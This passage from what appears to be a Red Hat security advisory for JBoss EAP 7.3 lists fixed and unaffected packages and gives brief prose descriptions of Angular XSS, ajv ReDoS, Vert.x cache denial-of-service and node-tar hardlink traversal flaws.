| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src | — |
Workaround
|
Threats
Impact
Important
A flaw exists in the template compiler of Angular as it fails to properly classify certain URL-bearing attributes (including SVG and MathML attributes such as href, xlink:href, or the attributeName of SVG animation elements) as requiring strict sanitization. As a result, an attacker who can supply untrusted data bound to those attributes may inject a malicious javascript: URL or script that persists (Stored XSS), which can execute in the context of the application's origin when rendered.
8.1 (High)
Affected products
Fixed
6 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — |
Vendor Fix
fix
Workaround
|
Known not affected
30 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src | — |
Workaround
|
Threats
Impact
Important
A flaw was found in ajv. When the $data option is enabled, the value of the pattern keyword is passed directly to the JavaScript RegExp() constructor without sufficient validation. An attacker able to supply a malicious regular expression pattern can trigger a ReDoS (Regular Expression Denial of Service), causing the application to become unresponsive and resulting in a denial of service.
7.5 (High)
Affected products
Fixed
6 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — |
Vendor Fix
fix
Workaround
|
Known not affected
30 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src | — |
Workaround
|
Threats
Impact
Important
A flaw was found in Vert.x. The Web static handler component cache can be manipulated to deny the access to static files served by the handler using specifically crafted request URIs, preventing legitimate users from accessing static files with an HTTP 404 response.
5.3 (Medium)
Affected products
Fixed
6 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — |
Vendor Fix
fix
Workaround
|
Known not affected
30 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src | — |
Workaround
|
Threats
Impact
Moderate
A flaw was found in node-tar, a Node.js module for handling TAR archives. This vulnerability allows a remote attacker to bypass path traversal protections by crafting a malicious TAR archive. The security check for hardlink entries uses different path resolution logic than the actual hardlink creation, enabling the attacker to create hardlinks to arbitrary files outside the intended extraction directory. This could lead to unauthorized information disclosure or further system compromise.
8.2 (High)
Affected products
Fixed
6 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — |
Vendor Fix
fix
Workaround
|
Known not affected
30 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src | — |
Workaround
|
Threats
Impact
Important
References
72 references
| URL | Category |
|---|---|
| https://access.redhat.com/errata/RHSA-2026:33371 | self |
| https://access.redhat.com/security/updates/classi… | external |
| https://docs.redhat.com/en/documentation/red_hat_… | external |
| https://docs.redhat.com/en/documentation/red_hat_… | external |
| https://docs.redhat.com/en/documentation/red_hat_… | external |
| https://bugzilla.redhat.com/show_bug.cgi?id=2339095 | external |
